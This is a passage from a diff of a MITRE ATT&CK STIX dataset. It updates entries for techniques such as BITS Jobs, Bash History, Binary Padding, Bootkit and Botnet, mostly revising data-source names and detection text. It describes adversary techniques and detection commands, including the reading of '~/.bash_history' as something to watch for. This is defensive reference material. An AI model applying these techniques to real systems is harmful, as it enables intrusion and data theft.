sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, may protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).", + "description": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).", "name": "Asymmetric Cryptography", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -1914,17 +1919,22 @@ "source_name": "University of Birmingham C2" } ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "modified": "2021-04-20T19:27:46.484Z", + "created": "2020-03-16T15:48:33.882Z", "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_data_sources": [ - "Process monitoring", - "Process use of network", - "Malware reverse engineering", - "Netflow/Enclave netflow", - "Packet capture" + "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_is_subtechnique": true, @@ -1960,7 +1970,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" } ], "object_marking_refs": [ @@ -1981,17 +1991,17 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-06-20T22:17:05.394Z", + "modified": "2020-11-10T18:29:30.961Z", "created": "2020-01-14T01:29:43.786Z", "x_mitre_defense_bypassed": [ "Application control", "Anti-virus" ], "x_mitre_data_sources": [ - "Process monitoring", - "API monitoring" + "Process: OS API Execution", + "Process: Process Access" ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ @@ -2040,8 +2050,9 @@ "x_mitre_remote_support": true, "x_mitre_detection": "Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring" + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution", + "Process: Process Creation" ], "x_mitre_platforms": [ "Linux" @@ -2105,10 +2116,10 @@ "modified": "2020-03-24T13:43:40.776Z", "created": "2019-11-27T13:52:45.853Z", "x_mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Process monitoring", - "Windows event logs" + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation" ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -2161,9 +2172,8 @@ ], "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.", "x_mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "File monitoring" + "Process: OS API Execution", + "Command: Command Execution" ], "x_mitre_version": "1.0" }, @@ -2244,9 +2254,9 @@ "Windows" ], "x_mitre_data_sources": [ - "DLL monitoring", - "Windows Registry", - "Loaded DLLs" + "Windows Registry: Windows Registry Key Modification", + "Module: Module Load", + "Command: Command Execution" ], "x_mitre_detection": "Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", "x_mitre_permissions_required": [ @@ -2256,9 +2266,19 @@ "x_mitre_version": "1.0" }, { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2017-05-31T21:31:27.985Z", + "modified": "2020-03-31T22:18:43.019Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } ], + "type": "attack-pattern", + "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Automated Collection", + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files.", "external_references": [ { "source_name": "mitre-attack", @@ -2266,38 +2286,28 @@ "external_id": "T1119" } ], - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files.", - "name": "Automated Collection", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "collection" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-03-31T22:18:43.019Z", - "created": "2017-05-31T21:31:27.985Z", - "x_mitre_is_subtechnique": false, - "x_mitre_version": "1.0", - "x_mitre_data_sources": [ - "File monitoring", - "Data loss prevention", - "Process command-line parameters" - ], - "x_mitre_detection": "Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", - "x_mitre_permissions_required": [ - "User" + "x_mitre_system_requirements": [ + "Permissions to access directories and files that store information of interest." ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], - "x_mitre_system_requirements": [ - "Permissions to access directories and files that store information of interest." - ] + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_detection": "Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution", + "Script: Script Execution" + ], + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": false }, { "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", @@ -2321,8 +2331,11 @@ "phase_name": "exfiltration" } ], - "modified": "2020-10-22T02:24:54.881Z", + "modified": "2021-04-22T20:21:10.590Z", "created": "2017-05-31T21:30:29.458Z", + "x_mitre_contributors": [ + "ExtraHop" + ], "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", @@ -2333,9 +2346,12 @@ "x_mitre_network_requirements": true, "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.", "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process use of network" + "Command: Command Execution", + "Script: Script Execution", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access" ], "x_mitre_version": "1.2" }, @@ -2343,7 +2359,7 @@ "id": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "BITS Jobs", - "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)", + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)", "external_references": [ { "source_name": "mitre-attack", @@ -2389,6 +2405,11 @@ "url": "https://technet.microsoft.com/library/dd939934.aspx", "description": "Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.", "source_name": "Microsoft Issues with BITS July 2011" + }, + { + "source_name": "Elastic - Hunting for Persistence Part 1", + "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1", + "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020." } ], "object_marking_refs": [ @@ -2405,7 +2426,7 @@ "phase_name": "persistence" } ], - "modified": "2020-03-25T23:28:10.049Z", + "modified": "2021-04-13T21:36:04.956Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ @@ -2416,22 +2437,24 @@ "Administrator", "SYSTEM" ], - "x_mitre_detection": "BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)", + "x_mitre_detection": "BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)", "x_mitre_defense_bypassed": [ "Firewall", "Host forensic analysis" ], "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "Packet capture", - "Windows event logs" + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Service: Service Metadata", + "Command: Command Execution" ], "x_mitre_contributors": [ + "Brent Murphy, Elastic", + "David French, Elastic", "Ricardo Dias", "Red Canary" ], - "x_mitre_version": "1.1" + "x_mitre_version": "1.2" }, { "external_references": [ @@ -2489,9 +2512,8 @@ ], "x_mitre_detection": "Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "File: File Access", + "Command: Command Execution" ], "x_mitre_platforms": [ "Linux", @@ -2499,22 +2521,6 @@ ] }, { - "created": "2020-03-14T22:34:03.024Z", - "modified": "2020-03-26T23:15:47.861Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } - ], - "type": "attack-pattern", - "id": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", - "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ", - "name": "Bidirectional Communication", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "source_name": "mitre-attack", @@ -2527,24 +2533,38 @@ "source_name": "University of Birmingham C2" } ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Bidirectional Communication", + "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ", + "id": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "modified": "2020-03-26T23:15:47.861Z", + "created": "2020-03-14T22:34:03.024Z", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Connection Creation" + ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" - ], - "x_mitre_data_sources": [ - "Host network interface", - "Netflow/Enclave netflow", - "Network protocol analysis", - "Packet capture", - "SSL/TLS inspection" - ], - "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0" + ] }, { "revoked": true, @@ -2582,6 +2602,22 @@ "created": "2017-05-31T21:30:22.096Z" }, { + "created": "2020-02-05T14:04:25.865Z", + "modified": "2020-09-17T18:25:33.828Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ", + "name": "Binary Padding", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -2614,42 +2650,24 @@ "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Signature-based detection" ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Binary Padding", - "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ", - "id": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "modified": "2020-09-17T18:25:33.828Z", - "created": "2020-02-05T14:04:25.865Z", - "x_mitre_contributors": [ - "Martin Jirkal, ESET" - ], - "x_mitre_data_sources": [ - "Process monitoring", - "Binary file metadata", - "File monitoring", - "Malware reverse engineering" - ], - "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. ", - "x_mitre_version": "1.1", - "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Signature-based detection" + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.1", + "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. ", + "x_mitre_data_sources": [ + "File: File Metadata", + "File: File Content" + ], + "x_mitre_contributors": [ + "Martin Jirkal, ESET" ] }, { @@ -2713,7 +2731,7 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-10-09T16:05:36.772Z", + "modified": "2021-04-24T13:50:12.837Z", "created": "2020-01-23T17:46:59.535Z", "x_mitre_platforms": [ "Linux", @@ -2727,7 +2745,19 @@ "root" ], "x_mitre_is_subtechnique": false, - "x_mitre_version": "1.1" + "x_mitre_version": "1.1", + "x_mitre_data_sources": [ + "File: File Creation", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Modification", + "Command: Command Execution", + "Process: Process Creation", + "Module: Module Load", + "Kernel: Kernel Module Load", + "Driver: Driver Load", + "Process: OS API Execution" + ] }, { "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", @@ -2760,7 +2790,7 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-08-03T16:47:37.240Z", + "modified": "2021-04-27T19:58:02.332Z", "created": "2017-05-31T21:30:38.910Z", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ @@ -2770,8 +2800,12 @@ ], "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring" + "Windows Registry: Windows Registry Key Creation", + "Process: Process Creation", + "Command: Command Execution", + "Active Directory: Active Directory Object Modification", + "File: File Creation", + "File: File Modification" ], "x_mitre_version": "2.1" }, @@ -2856,9 +2890,7 @@ ], "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.", "x_mitre_data_sources": [ - "VBR", - "MBR", - "API monitoring" + "Drive: Drive Modification" ], "x_mitre_platforms": [ "Linux", @@ -2903,7 +2935,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Botnet", - "description": "Before compromising a victim, adversaries may buy, lease, or rent a network of compromised systems\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)", + "description": "Adversaries may buy, lease, or rent a network of compromised systems\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)", "id": "attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074", "type": "attack-pattern", "kill_chain_phases": [ @@ -2912,7 +2944,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-05T02:15:01.325Z", + "modified": "2021-04-15T02:49:14.664Z", "created": "2020-10-01T00:49:05.467Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "x_mitre_version": "1.0", @@ -2949,7 +2981,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Botnet", - "description": "Before compromising a victim, adversaries may compromise numerous third-party systems to form a botnet\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).", + "description": "Adversaries may compromise numerous third-party systems to form a botnet\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: 